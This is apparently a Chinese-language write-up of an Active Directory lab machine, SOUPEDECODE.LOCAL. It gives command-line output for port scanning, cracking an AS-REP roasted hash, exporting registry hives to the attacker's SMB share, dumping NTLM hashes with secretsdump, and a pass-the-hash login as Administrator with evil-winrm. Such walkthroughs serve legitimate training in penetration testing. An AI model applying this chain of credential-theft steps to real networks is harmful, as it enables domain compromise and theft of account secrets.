virtualbox导入.ova文件启动后会报”Failed to load the NVRAM store from the file”的错，更改虚拟机名称后能够正常启动
所渗透的靶机IP为192.168.56.126
端口扫描
┌──(mikannse㉿kali)-[~/桌面] └─$ sudo nmap --min-rate=10000 -p- 192.168.56.126 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-19 06:54 UTC Nmap scan report for 192.168.56.126 (192.168.56.126) Host is up (0.00033s latency). Not shown: 65517 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49664/tcp open unknown 49670/tcp open unknown 49676/tcp open unknown 49689/tcp open unknown 49709/tcp open unknown MAC Address: 08:00:27:4C:2D:6C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.42 seconds
┌──(mikannse㉿kali)-[~/桌面] └─$ sudo nmap -sV -sT -sC -O -p53,88,135,139,389,445,464,593,636,3268,3269,5985 192.168.56.126 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-19 06:59 UTC Nmap scan report for 192.168.56.126 (192.168.56.126) Host is up (0.00041s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-19 21:59:47Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 MAC Address: 08:00:27:4C:2D:6C (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%) OS CPE: cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (91%), Microsoft Windows Server 2016 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 50.63 seconds
withopen('user.txt','r') as file1: data=file1.read() lines=data.splitlines() withopen('username.txt','w') as file2: for line in lines: list=line.split() username=list[1][12:] file2.write(username+'\n') print('Done')
┌──(mikannse㉿kali)-[~/桌面] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status internet ($krb5asrep$23$zximena448@SOUPEDECODE.LOCAL) 1g 0:00:00:00 DONE (2024-07-19 07:39) 100.0g/s 102400p/s 102400c/s 102400C/s 123456..bethany Use the "--show" option to display all of the cracked passwords reliably Session completed.
Dumping SAM hive to \\192.168.56.102\kali\SAM Dumping SYSTEM hive to \\192.168.56.102\kali\SYSTEM Dumping SECURITY hive to \\192.168.56.102\kali\SECURITY
secretsdump
使用secretsdump转存成hash
┌──(mikannse㉿kali)-[/tmp/smb] └─$ secretsdump.py -sam SAM -system SYSTEM LOCAL Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. [*] Cleaning up...
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0::: soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15::: soupedecode.local\otara1:1104:aad3b435b51404eeaad3b435b51404ee:ee98f16e3d56881411fbd2a67a5494c6::: soupedecode.local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63615bc51724865a0cd0b4fd9ec14::: soupedecode.local\eyara3:1106:aad3b435b51404eeaad3b435b51404ee:68e34c259878fd6a31c85cbea32ac671::: soupedecode.local\pquinn4:1107:aad3b435b51404eeaad3b435b51404ee:92cdedd79a2fe7cbc8c55826b0ff2d54::: ...
得到admin域用户的哈希，再次传递,拿到admin的shell
┌──(mikannse㉿kali)-[~/桌面] └─$ evil-winrm -i soupedecode.local -u 'Administrator' -H '8982babd4da89d33210779a6c5b078bd' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents>
